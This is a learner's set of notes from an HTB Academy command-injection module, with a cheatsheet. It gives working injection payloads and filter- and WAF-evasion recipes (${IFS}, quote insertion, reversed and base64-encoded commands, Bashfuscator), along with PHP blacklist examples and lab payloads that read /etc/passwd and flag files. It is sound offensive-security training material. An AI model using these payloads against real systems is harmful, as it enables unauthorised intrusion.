This content was extracted from HTB Academy

Intro to Command Injections

A Command Injection vulnerability is among the most critical types of vulnerabilities. It allows us to execute system commands directly on the back-end hosting server, which could lead to compromising the entire network. If a web application uses user-controlled input to execute a system command on the back-end server to retrieve and return specific output, we may be able to inject a malicious payload to subvert the intended command and execute our commands.

What are Injections

Injection vulnerabilities are considered the number 3 risk in OWASP’s Top 10 Web App Risks, given their high impact and how common they are. Injection occurs when user-controlled input is misinterpreted as part of the web query or code being executed, which may lead to subverting the intended outcome of the query to a different outcome that is useful to the attacker.

There are many types of injections found in web applications, depending on the type of web query being executed. The following are some of the most common types of injections:

InjectionDescription
OS Command InjectionOccurs when user input is directly used as part of an OS command.
Code InjectionOccurs when user input is directly within a function that evaluates code.
SQL InjectionsOccurs when user input is directly used as part of an SQL query.
Cross-Site Scripting/HTML InjectionOccurs when exact user input is displayed on a web page.

There are many other types of injections other than the above, like LDAP injectionNoSQL InjectionHTTP Header InjectionXPath InjectionIMAP InjectionORM Injection, and others. Whenever user input is used within a query without being properly sanitized, it may be possible to escape the boundaries of the user input string to the parent query and manipulate it to change its intended purpose. This is why as more web technologies are introduced to web applications, we will see new types of injections introduced to web applications.

OS Command Injections

When it comes to OS Command Injections, the user input we control must directly or indirectly go into (or somehow affect) a web query that executes system commands. All web programming languages have different functions that enable the developer to execute operating system commands directly on the back-end server whenever they need to. This may be used for various purposes, like installing plugins or executing certain applications.

PHP Example

For example, a web application written in PHP may use the execsystemshell_execpassthru, or popen functions to execute commands directly on the back-end server, each having a slightly different use case. The following code is an example of PHP code that is vulnerable to command injections:

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

Perhaps a particular web application has a functionality that allows users to create a new .pdf document that gets created in the /tmp directory with a file name supplied by the user and may then be used by the web application for document processing purposes. However, as the user input from the filename parameter in the GET request is used directly with the touch command (without being sanitized or escaped first), the web application becomes vulnerable to OS command injection. This flaw can be exploited to execute arbitrary system commands on the back-end server.

NodeJS Example

This is not unique to PHP only, but can occur in any web development framework or language. For example, if a web application is developed in NodeJS, a developer may use child_process.exec or child_process.spawn for the same purpose. The following example performs a similar functionality to what we discussed above:

app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

The above code is also vulnerable to a command injection vulnerability, as it uses the filename parameter from the GET request as part of the command without sanitizing it first. Both PHP and NodeJS web applications can be exploited using the same command injection methods.

Likewise, other web development programming languages have similar functions used for the same purposes and, if vulnerable, can be exploited using the same command injection methods. Furthermore, Command Injection vulnerabilities are not unique to web applications but can also affect other binaries and thick clients if they pass unsanitized user input to a function that executes system commands, which can also be exploited with the same command injection methods.

Detection

The process of detecting basic OS Command Injection vulnerabilities is the same process for exploiting such vulnerabilities. We attempt to append our command through various injection methods. If the command output changes from the intended usual result, we have successfully exploited the vulnerability. This may not be true for more advanced command injection vulnerabilities because we may utilize various fuzzing methods or code reviews to identify potential command injection vulnerabilities. We may then gradually build our payload until we achieve command injection. This module will focus on basic command injections, where we control user input that is being directly used in a system command execution a function without any sanitization.

Command Injection Detection

When we visit the web application in the below exercise, we see a Host Checker utility that appears to ask us for an IP to check whether it is alive or not:

We can try entering the localhost IP 127.0.0.1 to check the functionality, and as expected, it returns the output of the ping command telling us that the localhost is indeed alive:

Although we do not have access to the source code of the web application, we can confidently guess that the IP we entered is going into a ping command since the output we receive suggests that. As the result shows a single packet transmitted in the ping command, the command used may be as follows:

ping -c 1 OUR_INPUT

If our input is not sanitized and escaped before it is used with the ping command, we may be able to inject another arbitrary command. So, let us try to see if the web application is vulnerable to OS command injection.

Command Injection Methods

To inject an additional command to the intended one, we may use any of the following operators:

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command
Semicolon;%3bBoth
New Line\n%0aBoth
Background&%26Both (second output generally shown first)
Pipe|%7cBoth (only second output is shown)
AND&&%26%26Both (only if first succeeds)
OR|%7c%7cSecond (only if first fails)
Sub-Shell``%60%60Both (Linux-only)
Sub-Shell$()%24%28%29Both (Linux-only)

We can use any of these operators to inject another command so both or either of the commands get executed. We would write our expected input (e.g., an IP), then use any of the above operators, and then write our new command.

Tip

In addition to the above, there are a few unix-only operators, that would work on Linux and macOS, but would not work on Windows, such as wrapping our injected command with double backticks (``) or with a sub-shell operator ($()).

In general, for basic command injection, all of these operators can be used for command injections regardless of the web application language, framework, or back-end server. So, if we are injecting in a PHP web application running on a Linux server, or a .Net web application running on a Windows back-end server, or a NodeJS web application running on a macOS back-end server, our injections should work regardless.

Note

The only exception may be the semi-colon ;, which will not work if the command was being executed with Windows Command Line (CMD), but would still work if it was being executed with Windows PowerShell.

Injecting Commands

So far, we have found the Host Checker web application to be potentially vulnerable to command injections and discussed various injection methods we may utilize to exploit the web application. So, let’s start our command injection attempts with the semi-colon operator (;).

Injecting Our Command

We can add a semi-colon after our input IP 127.0.0.1, and then append our command (e.g. whoami), such that the final payload we will use is (127.0.0.1; whoami), and the final command to be executed would be:

ping -c 1 127.0.0.1; whoami

First, let’s try running the above command on our Linux VM to ensure it does run:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1; whoami
 
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
 
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

As we can see, the final command successfully runs, and we get the output of both commands (as mentioned in the previous table for ;). Now, we can try using our previous payload in the Host Checker web application:

As we can see, the web application refused our input, as it seems only to accept input in an IP format. However, from the look of the error message, it appears to be originating from the front-end rather than the back-end. We can double-check this with the Firefox Developer Tools by clicking [CTRL + SHIFT + E] to show the Network tab and then clicking on the Check button again:

As we can see, no new network requests were made when we clicked on the Check button, yet we got an error message. This indicates that the user input validation is happening on the front-end.

This appears to be an attempt at preventing us from sending malicious payloads by only allowing user input in an IP format. However, it is very common for developers only to perform input validation on the front-end while not validating or sanitizing the input on the back-end. This occurs for various reasons, like having two different teams working on the front-end/back-end or trusting front-end validation to prevent malicious payloads.

However, as we will see, front-end validations are usually not enough to prevent injections, as they can be very easily bypassed by sending custom HTTP requests directly to the back-end.

Bypassing Front-End Validation

The easiest method to customize the HTTP requests being sent to the back-end server is to use a web proxy that can intercept the HTTP requests being sent by the application. To do so, we can start Burp Suite or ZAP and configure Firefox to proxy the traffic through them. Then, we can enable the proxy intercept feature, send a standard request from the web application with any IP (e.g. 127.0.0.1), and send the intercepted HTTP request to repeater by clicking [CTRL + R], and we should have the HTTP request for customization:

Burp POST Request

We can now customize our HTTP request and send it to see how the web application handles it. We will start by using the same previous payload (127.0.0.1; whoami). We should also URL-encode our payload to ensure it gets sent as we intend. We can do so by selecting the payload and then clicking [CTRL + U]. Finally, we can click Send to send our HTTP request:

As we can see, the response we got this time contains the output of the ping command and the result of the whoami command, meaning that we successfully injected our new command.

Other Injection Operators

AND Operator

We can start with the AND (&&) operator, such that our final payload would be (127.0.0.1 && whoami), and the final executed command would be the following:

ping -c 1 127.0.0.1 && whoami

As we always should, let’s try to run the command on our Linux VM first to ensure that it is a working command:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1 && whoami
 
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms
 
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
21y4d

As we can see, the command does run, and we get the same output we got previously. Try to refer to the injection operators table from the previous section and see how the && operator is different (if we do not write an IP and start directly with &&, would the command still work?).

Now, we can do the same thing we did before by copying our payload, pasting it in our HTTP request in Burp Suite, URL-encoding it, and then finally sending it:

As we can see, we successfully injected our command and received the expected output of both commands.

OR Operator

Finally, let us try the OR (||) injection operator. The OR operator only executes the second command if the first command fails to execute. This may be useful for us in cases where our injection would break the original command without having a solid way of having both commands work. So, using the OR operator would make our new command execute if the first one fails.

If we try to use our usual payload with the || operator (127.0.0.1 || whoami), we will see that only the first command would execute:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1 || whoami
 
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms
 
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms

This is because of how bash commands work. As the first command returns exit code 0 indicating successful execution, the bash command stops and does not try the other command. It would only attempt to execute the other command if the first command failed and returned an exit code 1.

Try using the above payload in the HTTP request, and see how the web application handles it.

Let us try to intentionally break the first command by not supplying an IP and directly using the || operator (|| whoami), such that the ping command would fail and our injected command gets executed:

21y4d@htb[/htb]$ ping -c 1 || whoami
 
ping: usage error: Destination address required
21y4d

As we can see, this time, the whoami command did execute after the ping command failed and gave us an error message. So, let us now try the (|| whoami) payload in our HTTP request:

We see that this time we only got the output of the second command as expected. With this, we are using a much simpler payload and getting a much cleaner result.

Such operators can be used for various injection types, like SQL injections, LDAP injections, XSS, SSRF, XML, etc. We have created a list of the most common operators that can be used for injections:

Injection TypeOperators
SQL Injection' , ; -- /* */
Command Injection; &&
LDAP Injection* ( ) & |
XPath Injection' or and not substring concat count
OS Command Injection; & |
Code Injection' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal../ ..\\ %00
Object Injection; & |
XQuery Injection' ; -- /* */
Shellcode Injection\x \u %u %n
Header Injection\n \r\n \t %0d %0a %09

Keep in mind that this table is incomplete, and many other options and operators are possible. It also highly depends on the environment we are working with and testing.

In this module, we are mainly dealing with direct command injections, in which our input goes directly into the system command, and we are receiving the output of the command. For more on advanced command injections, like indirect injections or blind injection, you may refer to the Whitebox Pentesting 101: Command Injection module, which covers advanced injections methods and many other topics.

Identifying Filters

Filter/WAF Detection

Let us start by visiting the web application in the exercise at the end of this section. We see the same Host Checker web application we have been exploiting, but now it has a few mitigations up its sleeve. We can see that if we try the previous operators we tested, like (;&&||), we get the error message invalid input:

This indicates that something we sent triggered a security mechanism in place that denied our request. This error message can be displayed in various ways. In this case, we see it in the field where the output is displayed, meaning that it was detected and prevented by the PHP web application itself. If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF.

Let us check the payload we sent:

127.0.0.1; whoami

Other than the IP (which we know is not blacklisted), we sent:

  1. A semi-colon character ;
  2. A space character
  3. whoami command

So, the web application either detected a blacklisted character or detected a blacklisted command, or both. So, let us see how to bypass each.

Blacklisted Characters

A web application may have a list of blacklisted characters, and if the command contains them, it would deny the request. The PHP code may look something like the following:

$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}

If any character in the string we sent matches a character in the blacklist, our request is denied. Before we start our attempts at bypassing the filter, we should try to identify which character caused the denied request.

Identifying Blacklisted Character

Let us reduce our request to one character at a time and see when it gets blocked. We know that the (127.0.0.1) payload does work, so let us start by adding the semi-colon (127.0.0.1;):

We still get an invalid input, error meaning that a semi-colon is blacklisted. So, let’s see if all of the injection operators we discussed previously are blacklisted.

Bypassing Space Filters

There are numerous ways to detect injection attempts, and there are multiple methods to bypass these detections. We will be demonstrating the concept of detection and how bypassing works using Linux as an example. We will learn how to utilize these bypasses and eventually be able to prevent them. Once we have a good grasp on how they work, we can go through various sources on the internet to discover other types of bypasses and learn how to mitigate them.

Bypass Blacklisted Operators

We will see that most of the injection operators are indeed blacklisted. However, the new-line character is usually not blacklisted, as it may be needed in the payload itself. We know that the new-line character works in appending our commands both in Linux and on Windows, so let’s try using it as our injection operator:

As we can see, even though our payload did include a new-line character, our request was not denied, and we did get the output of the ping command, which means that this character is not blacklisted, and we can use it as our injection operator. Let us start by discussing how to bypass a commonly blacklisted character - a space character.

Bypass Blacklisted Spaces

Now that we have a working injection operator, let us modify our original payload and send it again as (127.0.0.1%0a whoami):

As we can see, we still get an invalid input error message, meaning that we still have other filters to bypass. So, as we did before, let us only add the next character (which is a space) and see if it caused the denied request:

As we can see, the space character is indeed blacklisted as well. A space is a commonly blacklisted character, especially if the input should not contain any spaces, like an IP, for example. Still, there are many ways to add a space character without actually using the space character!

Using Tabs

Using tabs (%09) instead of spaces is a technique that may work, as both Linux and Windows accept commands with tabs between arguments, and they are executed the same. So, let us try to use a tab instead of the space character (127.0.0.1%0a%09) and see if our request is accepted:

As we can see, we successfully bypassed the space character filter by using a tab instead. Let us see another method of replacing space characters.

Using $IFS

Using the ($IFS) Linux Environment Variable may also work since its default value is a space and a tab, which would work between command arguments. So, if we use ${IFS} where the spaces should be, the variable should be automatically replaced with a space, and our command should work.

Let us use ${IFS} and see if it works (127.0.0.1%0a${IFS}):

We see that our request was not denied this time, and we bypassed the space filter again.

Using Brace Expansion

There are many other methods we can utilize to bypass space filters. For example, we can use the Bash Brace Expansion feature, which automatically adds spaces between arguments wrapped between braces, as follows:

  Bypassing Space Filters

gitblanc@htb[/htb]$ {ls,-la}
 
total 0
drwxr-xr-x 1 21y4d 21y4d   0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d   0 Jul 13 13:01 ..

As we can see, the command was successfully executed without having spaces in it. We can utilize the same method in command injection filter bypasses, by using brace expansion on our command arguments, like (127.0.0.1%0a{ls,-la}). To discover more space filter bypasses, check out the PayloadsAllTheThings page on writing commands without spaces.

Bypassing Other Blacklisted Characters

Besides injection operators and space characters, a very commonly blacklisted character is the slash (/) or backslash (\) character, as it is necessary to specify directories in Linux or Windows. We can utilize several techniques to produce any character we want while avoiding the use of blacklisted characters.

Linux

There are many techniques we can utilize to have slashes in our payload. One such technique we can use for replacing slashes (or any other character) is through Linux Environment Variables like we did with ${IFS}. While ${IFS} is directly replaced with a space, there’s no such environment variable for slashes or semi-colons. However, these characters may be used in an environment variable, and we can specify start and length of our string to exactly match this character.

For example, if we look at the $PATH environment variable in Linux, it may look something like the following:

gitblanc@htb[/htb]$ echo ${PATH}
 
/usr/local/bin:/usr/bin:/bin:/usr/games

So, if we start at the 0 character, and only take a string of length 1, we will end up with only the / character, which we can use in our payload:

gitblanc@htb[/htb]$ echo ${PATH:0:1}
 
/

Note

When we use the above command in our payload, we will not add echo, as we are only using it in this case to show the outputted character.

We can do the same with the $HOME or $PWD environment variables as well. We can also use the same concept to get a semi-colon character, to be used as an injection operator. For example, the following command gives us a semi-colon:

gitblanc@htb[/htb]$ echo ${LS_COLORS:10:1}
 
;

Exercise

Try to understand how the above command resulted in a semi-colon, and then use it in the payload to use it as an injection operator. Hint: The printenv command prints all environment variables in Linux, so you can look which ones may contain useful characters, and then try to reduce the string to that character only.

So, let’s try to use environment variables to add a semi-colon and a space to our payload (127.0.0.1${LS_COLORS:10:1}${IFS}) as our payload, and see if we can bypass the filter:

As we can see, we successfully bypassed the character filter this time as well.

Windows

The same concept works on Windows as well. For example, to produce a slash in Windows Command Line (CMD), we can echo a Windows variable (%HOMEPATH%  \Users\htb-student), and then specify a starting position (~6  \htb-student), and finally specifying a negative end position, which in this case is the length of the username htb-student (-11  \) :

C:\htb> echo %HOMEPATH:~6,-11%
 
\

We can achieve the same thing using the same variables in Windows PowerShell. With PowerShell, a word is considered an array, so we have to specify the index of the character we need. As we only need one character, we don’t have to specify the start and end positions:

PS C:\htb> $env:HOMEPATH[0]
 
\
 
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>

We can also use the Get-ChildItem Env: PowerShell command to print all environment variables and then pick one of them to produce a character we need. Try to be creative and find different commands to produce similar characters.

Character Shifting

There are other techniques to produce the required characters without using them, like shifting characters. For example, the following Linux command shifts the character we pass by 1. So, all we have to do is find the character in the ASCII table that is just before our needed character (we can get it with man ascii), then add it instead of [ in the below example. This way, the last printed character would be the one we need:

gitblanc@htb[/htb]$ man ascii     # \ is on 92, before it is [ on 91
gitblanc@htb[/htb]$ echo $(tr '!-}' '"-~'<<<[)
 
\

We can use PowerShell commands to achieve the same result in Windows, though they can be quite longer than the Linux ones.

Example

The Academy exercise for this section:

  • First I do a printenv to find a suitable environment variable.
  • Then I found PWD and the first character was the /
ip=127.0.0.1%0a${IFS}ls${IFS}-la${IFS}${PWD:0:1}home

Bypassing Blacklisted Commands

We have discussed various methods for bypassing single-character filters. However, there are different methods when it comes to bypassing blacklisted commands. A command blacklist usually consists of a set of words, and if we can obfuscate our commands and make them look different, we may be able to bypass the filters.

There are various methods of command obfuscation that vary in complexity, as we will touch upon later with command obfuscation tools. We will cover a few basic techniques that may enable us to change the look of our command to bypass filters manually.

Commands Blacklist

We have so far successfully bypassed the character filter for the space and semi-colon characters in our payload. So, let us go back to our very first payload and re-add the whoami command to see if it gets executed:

We see that even though we used characters that are not blocked by the web application, the request gets blocked again once we added our command. This is likely due to another type of filter, which is a command blacklist filter.

A basic command blacklist filter in PHP would look like the following:

$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
    if (strpos('$_POST['ip']', $word) !== false) {
        echo "Invalid input";
    }
}

As we can see, it is checking each word of the user input to see if it matches any of the blacklisted words. However, this code is looking for an exact match of the provided command, so if we send a slightly different command, it may not get blocked. Luckily, we can utilize various obfuscation techniques that will execute our command without using the exact command word.

Linux & Windows

One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like Bash or PowerShell and will execute the same command as if they were not there. Some of these characters are a single-quote ' and a double-quote ", in addition to a few others.

The easiest to use are quotes, and they work on both Linux and Windows servers. For example, if we want to obfuscate the whoami command, we can insert single quotes between its characters, as follows:

21y4d@htb[/htb]$ w'h'o'am'i
 
21y4d

The same works with double-quotes as well:

21y4d@htb[/htb]$ w"h"o"am"i
 
21y4d

The important things to remember are that we cannot mix types of quotes and the number of quotes must be even. We can try one of the above in our payload (127.0.0.1%0aw'h'o'am'i) and see if it works:

As we can see, this method indeed works.

Linux Only

We can insert a few other Linux-only characters in the middle of commands, and the bash shell would ignore them and execute the command. These characters include the backslash \ and the positional parameter character $@. This works exactly as it did with the quotes, but in this case, the number of characters do not have to be even, and we can insert just one of them if we want to:

who$@ami
w\ho\am\i

Windows Only

There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret (^) character, as we can see in the following example:

C:\htb> who^ami
 
21y4d

Example

The Academy exercise for this section:

ip=127.0.0.1%0a${IFS}c'a't${IFS}${PWD:0:1}home${PWD:0:1}1nj3c70r${PWD:0:1}flag.txt

Advanced Command Obfuscation

In some instances, we may be dealing with advanced filtering solutions, like Web Application Firewalls (WAFs), and basic evasion techniques may not necessarily work. We can utilize more advanced techniques for such occasions, which make detecting the injected commands much less likely.

Case Manipulation

One command obfuscation technique we can use is case manipulation, like inverting the character cases of a command (e.g. WHOAMI) or alternating between cases (e.g. WhOaMi). This usually works because a command blacklist may not check for different case variations of a single word, as Linux systems are case-sensitive.

If we are dealing with a Windows server, we can change the casing of the characters of the command and send it. In Windows, commands for PowerShell and CMD are case-insensitive, meaning they will execute the command regardless of what case it is written in:

PS C:\htb> WhOaMi
 
21y4d

However, when it comes to Linux and a bash shell, which are case-sensitive, as mentioned earlier, we have to get a bit creative and find a command that turns the command into an all-lowercase word. One working command we can use is the following:

21y4d@htb[/htb]$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
 
21y4d

As we can see, the command did work, even though the word we provided was (WhOaMi). This command uses tr to replace all upper-case characters with lower-case characters, which results in an all lower-case character command. However, if we try to use the above command with the Host Checker web application, we will see that it still gets blocked:

Can you guess why? It is because the command above contains spaces, which is a filtered character in our web application, as we have seen before. So, with such techniques, we must always be sure not to use any filtered characters, otherwise our requests will fail, and we may think the techniques failed to work.

Once we replace the spaces with tabs (%09), we see that the command works perfectly:

There are many other commands we may use for the same purpose, like the following:

$(a="WhOaMi";printf %s "${a,,}")

Reversed Commands

Another command obfuscation technique we will discuss is reversing commands and having a command template that switches them back and executes them in real-time. In this case, we will be writing imaohw instead of whoami to avoid triggering the blacklisted command.

We can get creative with such techniques and create our own Linux/Windows commands that eventually execute the command without ever containing the actual command words. First, we’d have to get the reversed string of our command in our terminal, as follows:

gitblanc@htb[/htb]$ echo 'whoami' | rev
imaohw

Then, we can execute the original command by reversing it back in a sub-shell ($()), as follows:

21y4d@htb[/htb]$ $(rev<<<'imaohw')
 
21y4d

We see that even though the command does not contain the actual whoami word, it does work the same and provides the expected output. We can also test this command with our exercise, and it indeed works:

Tip

If you wanted to bypass a character filter with the above method, you’d have to reverse them as well, or include them when reversing the original command.

The same can be applied in Windows. We can first reverse a string, as follows:

PS C:\htb> "whoami"[-1..-20] -join ''
 
imaohw

We can now use the below command to execute a reversed string with a PowerShell sub-shell (iex "$()"), as follows:

PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"
 
21y4d

Encoded Commands

The final technique we will discuss is helpful for commands containing filtered characters or characters that may be URL-decoded by the server. This may allow for the command to get messed up by the time it reaches the shell and eventually fails to execute. Instead of copying an existing command online, we will try to create our own unique obfuscation command this time. This way, it is much less likely to be denied by a filter or a WAF. The command we create will be unique to each case, depending on what characters are allowed and the level of security on the server.

We can utilize various encoding tools, like base64 (for b64 encoding) or xxd (for hex encoding). Let’s take base64 as an example. First, we’ll encode the payload we want to execute (which includes filtered characters):

gitblanc@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64
 
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

Now we can create a command that will decode the encoded string in a sub-shell ($()), and then pass it to bash to be executed (i.e. bash<<<), as follows:

gitblanc@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

As we can see, the above command executes the command perfectly. We did not include any filtered characters and avoided encoded characters that may lead the command to fail to execute.

Tip

Note that we are using <<< to avoid using a pipe |, which is a filtered character.

Now we can use this command (once we replace the spaces) to execute the same command through command injection:

Even if some commands were filtered, like bash or base64, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like sh for command execution and openssl for b64 decoding, or xxd for hex decoding.

We use the same technique with Windows as well. First, we need to base64 encode our string, as follows:

PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
 
dwBoAG8AYQBtAGkA

We may also achieve the same thing on Linux, but we would have to convert the string from utf-8 to utf-16 before we base64 it, as follows:

gitblanc@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64
 
dwBoAG8AYQBtAGkA

Finally, we can decode the b64 string and execute it with a PowerShell sub-shell (iex "$()"), as follows:

PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
 
21y4d

As we can see, we can get creative with Bash or PowerShell and create new bypassing and obfuscation methods that have not been used before, and hence are very likely to bypass filters and WAFs. Several tools can help us automatically obfuscate our commands, which we will discuss in the next section.

In addition to the techniques we discussed, we can utilize numerous other methods, like wildcards, regex, output redirection, integer expansion, and many others. We can find some such techniques on PayloadsAllTheThings.

Example

The Academy exercise for this section:

  • Find the output of the following command using one of the techniques you learned in this section: find /usr/share/ | grep root | grep mysql | tail -n 1
  • See the steps above
ip=127.0.0.1%0a${IFS}t'a'il${IFS}-n${IFS}1<<<$(g'r'ep${IFS}mysql<<<$(g'r'ep${IFS}root<<<$(f'i'nd${IFS}${PWD:0:1}usr${PWD:0:1}share${PWD:0:1})))

I crafted this payload with patience and testing:

# Step 1: testing find /usr/share
ip=127.0.0.1%0a${IFS}f'i'nd${IFS}${PWD:0:1}usr${PWD:0:1}share${PWD:0:1}
 
# Step 2: testing grep root
ip=127.0.0.1%0a${IFS}g'r'ep${IFS}root<<<$(f'i'nd${IFS}${PWD:0:1}usr${PWD:0:1}share${PWD:0:1})
 
# Step 3: testing grep mysql
ip=127.0.0.1%0a${IFS}g'r'ep${IFS}mysql<<<$(g'r'ep${IFS}root<<<$(f'i'nd${IFS}${PWD:0:1}usr${PWD:0:1}share${PWD:0:1}))
 
# Step 4: testing tail
ip=127.0.0.1%0a${IFS}t'a'il${IFS}-n${IFS}1<<<$(g'r'ep${IFS}mysql<<<$(g'r'ep${IFS}root<<<$(f'i'nd${IFS}${PWD:0:1}usr${PWD:0:1}share${PWD:0:1})))

Evasion Tools

If we are dealing with advanced security tools, we may not be able to use basic, manual obfuscation techniques. In such cases, it may be best to resort to automated obfuscation tools. This section will discuss a couple of examples of these types of tools, one for Linux and another for Windows.

Linux (Bashfuscator)

A handy tool we can utilize for obfuscating bash commands is Bashfuscator. We can clone the repository from GitHub and then install its requirements, as follows:

gitblanc@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator
gitblanc@htb[/htb]$ cd Bashfuscator
gitblanc@htb[/htb]$ pip3 install setuptools==65
gitblanc@htb[/htb]$ python3 setup.py install --user

Once we have the tool set up, we can start using it from the ./bashfuscator/bin/ directory. There are many flags we can use with the tool to fine-tune our final obfuscated command, as we can see in the -h help menu:

gitblanc@htb[/htb]$ cd ./bashfuscator/bin/
gitblanc@htb[/htb]$ ./bashfuscator -h
 
usage: bashfuscator [-h] [-l] ...SNIP...
 
optional arguments:
  -h, --help            show this help message and exit
 
Program Options:
  -l, --list            List all the available obfuscators, compressors, and encoders
  -c COMMAND, --command COMMAND
                        Command to obfuscate
...SNIP...

We can start by simply providing the command we want to obfuscate with the -c flag:

gitblanc@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd'
 
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters

However, running the tool this way will randomly pick an obfuscation technique, which can output a command length ranging from a few hundred characters to over a million characters! So, we can use some of the flags from the help menu to produce a shorter and simpler obfuscated command, as follows:

gitblanc@htb[/htb]$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
 
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters

We can now test the outputted command with bash -c '', to see whether it does execute the intended command:

gitblanc@htb[/htb]$ bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
 
root:x:0:0:root:/root:/bin/bash
...SNIP...

We can see that the obfuscated command works, all while looking completely obfuscated, and does not resemble our original command. We may also notice that the tool utilizes many obfuscation techniques, including the ones we previously discussed and many others.

Windows (DOSfuscation)

There is also a very similar tool that we can use for Windows called DOSfuscation. Unlike Bashfuscator, this is an interactive tool, as we run it once and interact with it to get the desired obfuscated command. We can once again clone the tool from GitHub and then invoke it through PowerShell, as follows:

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
 
HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...
 
Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation

We can even use tutorial to see an example of how the tool works. Once we are set, we can start using the tool, as follows:

Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
 
...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
 
test_flag

Tip

If we do not have access to a Windows VM, we can run the above code on a Linux VM through pwsh. Run pwsh, and then follow the exact same command from above. This tool is installed by default in your Pwnbox instance. You can also find installation instructions at this link.

For more on advanced obfuscation methods, you may refer to the Secure Coding 101: JavaScript module, which covers advanced obfuscations methods that can be utilized in various attacks, including the ones we covered in this module.

Skills Assesment

The move option is the one with the Command Injection vulnerability:

Got a malicious request denied:

Succesfully bypassed the block with %0a and get the output of command id:

Final payload:

%0abash<<<$(base64${IFS}-d<<<Y2F0IC9mbGFnLnR4dA==)&from=605311066.txt

HTB Cheatsheet

Injection Operators

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command
Semicolon;%3bBoth
New Line\n%0aBoth
Background&%26Both (second output generally shown first)
Pipe|%7cBoth (only second output is shown)
AND&&%26%26Both (only if first succeeds)
OR|%7c%7cSecond (only if first fails)
Sub-Shell``%60%60Both (Linux-only)
Sub-Shell$()%24%28%29Both (Linux-only)

Linux

Filtered Character Bypass

CodeDescription
printenvCan be used to view all environment variables
Spaces
%09Using tabs instead of spaces
${IFS}Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())
{ls,-la}Commas will be replaced with spaces
Other Characters
${PATH:0:1}Will be replaced with /
${LS_COLORS:10:1}Will be replaced with ;
$(tr '!-}' '"-~'<<<[)Shift character by one ([  \)

Blacklisted Command Bypass

CodeDescription
Character Insertion
' or "Total must be even
$@ or \Linux only
Case Manipulation
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")Execute command regardless of cases
$(a="WhOaMi";printf %s "${a,,}")Another variation of the technique
Reversed Commands
echo 'whoami' | revReverse a string
$(rev<<<'imaohw')Execute reversed command
Encoded Commands
